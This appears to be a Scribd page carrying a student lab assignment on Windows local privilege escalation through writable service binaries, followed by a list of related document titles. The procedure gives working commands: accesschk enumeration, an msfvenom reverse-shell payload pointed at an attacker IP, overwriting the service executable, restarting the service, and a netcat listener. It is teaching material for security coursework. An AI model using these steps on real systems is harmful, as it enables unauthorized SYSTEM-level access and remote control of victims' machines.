Windows LPE Practical Assignment

The document outlines a practical assignment focused on exploiting improper Access Control Lists (ACLs) on Windows systems to achieve local elevation of privilege using Kali Linux tools. It details a step-by-step procedure including information gathering, identifying writable service binaries, modifying service binaries, restarting services, and confirming privilege escalation. The assignment emphasizes the importance of conducting such activities in a controlled environment and adhering to legal and ethical standards.

Uploaded by

aryangupta080704

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

0% found this document useful (0 votes)

10 views2 pages

Windows LPE Practical Assignment

Uploaded by

aryangupta080704

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

You are on page 1/ 2

Practical Assignment

Topic: Exploiting the Windows Access Control Model for Local Elevation of
Privilege

Objective:
To understand and demonstrate how improper Access Control Lists (ACLs) on Windows
systems can be exploited to gain elevated privileges using practical tools available in Kali
Linux.

Requirements:

- A Windows virtual machine (target)
- Kali Linux virtual machine (attacker)
- Meterpreter or nc for reverse shell
- Exploitable Windows service or weak ACL configuration
- Windows user account with limited privileges

Step-by-Step Procedure:
1. Step 1: Information Gathering

- Start with a reverse shell to the Windows machine (assume you already have a
low-privileged session).
- Use Meterpreter:
meterpreter > getuid
meterpreter > sysinfo

2. Step 2: Check for Writable Service Binaries

Use the PowerShell command or accesschk (Sysinternals) to identify services with weak
permissions:
> sc qc [ServiceName]
> accesschk.exe -uwcqv "username" * /accepteula
3. Step 3: Modify the Service Binary

If you find a service binary path that is writable, replace it with your malicious payload:
$ msfvenom -p windows/shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe -o
revshell.exe
$ cp revshell.exe "\\target\c$\Program Files\VulnerableService\vulnsvc.exe"

4. Step 4: Restart the Service

Restart the service to trigger the payload:
> net stop [ServiceName]
> net start [ServiceName]

5. Step 5: Catch the Shell

On Kali, listen using Netcat or Metasploit:
$ nc -lvnp 4444

6. Step 6: Privilege Escalation Confirmed

Check privileges:
> whoami
> net session (should return output only if SYSTEM/admin)

Security Precautions:

- This activity should only be conducted in an isolated lab environment.
- Never perform privilege escalation on production systems without permission.
- Always use legal and ethical practices.

Conclusion:

Improper file or folder permissions on Windows services can lead to serious privilege
escalation risks.
This practical demonstrated how to exploit such misconfigurations using Kali Linux tools.

Exp 7
No ratings yet
Exp 7
10 pages
Lab - 03 Windows Privilege Escalation
No ratings yet
Lab - 03 Windows Privilege Escalation
18 pages
July Test Pranav Tej G
No ratings yet
July Test Pranav Tej G
8 pages
Eh Lab 8
No ratings yet
Eh Lab 8
11 pages
WWW - Hackingarticles.in: Page - 1
No ratings yet
WWW - Hackingarticles.in: Page - 1
56 pages
Windows Privilege Escalation
No ratings yet
Windows Privilege Escalation
9 pages
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation Via Services
No ratings yet
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation Via Services
22 pages
? Windows Privilege Escalation Checklist
No ratings yet
? Windows Privilege Escalation Checklist
3 pages
Cheatsheet Windows
No ratings yet
Cheatsheet Windows
6 pages
Windows Privilege Escalation Introduction To Windows Privilege Escalation
No ratings yet
Windows Privilege Escalation Introduction To Windows Privilege Escalation
244 pages
1.3 Windows Privilege Escalation (Light)
No ratings yet
1.3 Windows Privilege Escalation (Light)
154 pages
6.) Uac Bypass Uacme
No ratings yet
6.) Uac Bypass Uacme
11 pages
7 Ways To Privilege Escalation of Windows 7 PC (Bypass UAC)
No ratings yet
7 Ways To Privilege Escalation of Windows 7 PC (Bypass UAC)
5 pages
Exp 6
No ratings yet
Exp 6
10 pages
Windows Privilege Escalation - Logon Autostart Execution
No ratings yet
Windows Privilege Escalation - Logon Autostart Execution
10 pages
Windows Penetration Testing Command
No ratings yet
Windows Penetration Testing Command
16 pages
Network Reprot
No ratings yet
Network Reprot
10 pages
OSCP Training - 01
100% (4)
OSCP Training - 01
105 pages
Haboob Team: Windows Privilege Escalations
No ratings yet
Haboob Team: Windows Privilege Escalations
17 pages
Linux Privilege Escalation Guide
No ratings yet
Linux Privilege Escalation Guide
14 pages
Windows Privilege Escalation
No ratings yet
Windows Privilege Escalation
37 pages
CYSE 301 Ethical Hacking Part 3
No ratings yet
CYSE 301 Ethical Hacking Part 3
5 pages
Windows Privilege Escalation
No ratings yet
Windows Privilege Escalation
53 pages
Windows Worflow Platform
No ratings yet
Windows Worflow Platform
9 pages
Privilege Escalation On A Compromised Host
No ratings yet
Privilege Escalation On A Compromised Host
4 pages
Windows Escalation
No ratings yet
Windows Escalation
37 pages
0xsp Privilege Escalation Cheatsheet
No ratings yet
0xsp Privilege Escalation Cheatsheet
11 pages
Lab Exercises Walkthrough - Windows PDF
No ratings yet
Lab Exercises Walkthrough - Windows PDF
10 pages
UFCFVN-30-M-24 - Sep-Linux Priv Escalation v1.3
No ratings yet
UFCFVN-30-M-24 - Sep-Linux Priv Escalation v1.3
36 pages
OSCP Exam Training Program
No ratings yet
OSCP Exam Training Program
38 pages
Windows Privilege Escalation
100% (1)
Windows Privilege Escalation
30 pages
Privilege Escalation
No ratings yet
Privilege Escalation
14 pages
A Hands-On Approach To Linux Privilege Escalation: Tanishq Sharma, Shikhar Saxena
No ratings yet
A Hands-On Approach To Linux Privilege Escalation: Tanishq Sharma, Shikhar Saxena
14 pages
Divyam PPT Presenetation
No ratings yet
Divyam PPT Presenetation
30 pages
Windows Privscheck
No ratings yet
Windows Privscheck
11 pages
PEN-200 Lab Report
No ratings yet
PEN-200 Lab Report
8 pages
PEN-200 Lab Report
No ratings yet
PEN-200 Lab Report
9 pages
Linux Privilege Escalation Is A Critical Topic in Cybersecurity
No ratings yet
Linux Privilege Escalation Is A Critical Topic in Cybersecurity
5 pages
VARE Quiz
No ratings yet
VARE Quiz
2 pages
Windows Privilege Escalation Guide
No ratings yet
Windows Privilege Escalation Guide
5 pages
Return
No ratings yet
Return
9 pages
Hunting For Privilege Escalation in Windows Environment
No ratings yet
Hunting For Privilege Escalation in Windows Environment
99 pages
PrivEsc - Insecure Service Permissions
No ratings yet
PrivEsc - Insecure Service Permissions
8 pages
Exploiting VSFTPD 2.3.4 On Metasploitable 2 Using Kali Linux
No ratings yet
Exploiting VSFTPD 2.3.4 On Metasploitable 2 Using Kali Linux
4 pages
Unattended Installation
No ratings yet
Unattended Installation
12 pages
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation
No ratings yet
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation
18 pages
Penetration Testing With Kali Linux - 5 Days
50% (2)
Penetration Testing With Kali Linux - 5 Days
9 pages
Bypass UAC and Get Admin Privilege in Windows 7 Using
No ratings yet
Bypass UAC and Get Admin Privilege in Windows 7 Using
6 pages
Lab 3 - Vulnerability Scanning and Exploitation Instructions - Mar 4
No ratings yet
Lab 3 - Vulnerability Scanning and Exploitation Instructions - Mar 4
5 pages
Lab 3
No ratings yet
Lab 3
7 pages
WIN10 MetaExplot
No ratings yet
WIN10 MetaExplot
12 pages
Ethical Hacking Practical Guide
No ratings yet
Ethical Hacking Practical Guide
5 pages
In God We Trust3
No ratings yet
In God We Trust3
10 pages
Practical - Manual - BMSF
No ratings yet
Practical - Manual - BMSF
33 pages

Windows LPE Practical Assignment

Uploaded by

Windows LPE Practical Assignment

Uploaded by

Practical Assignment

2.​ Step 2: Check for Writable Service Binaries

4.​ Step 4: Restart the Service

5.​ Step 5: Catch the Shell

6.​ Step 6: Privilege Escalation Confirmed

You might also like

2. Step 2: Check for Writable Service Binaries

4. Step 4: Restart the Service

5. Step 5: Catch the Shell

6. Step 6: Privilege Escalation Confirmed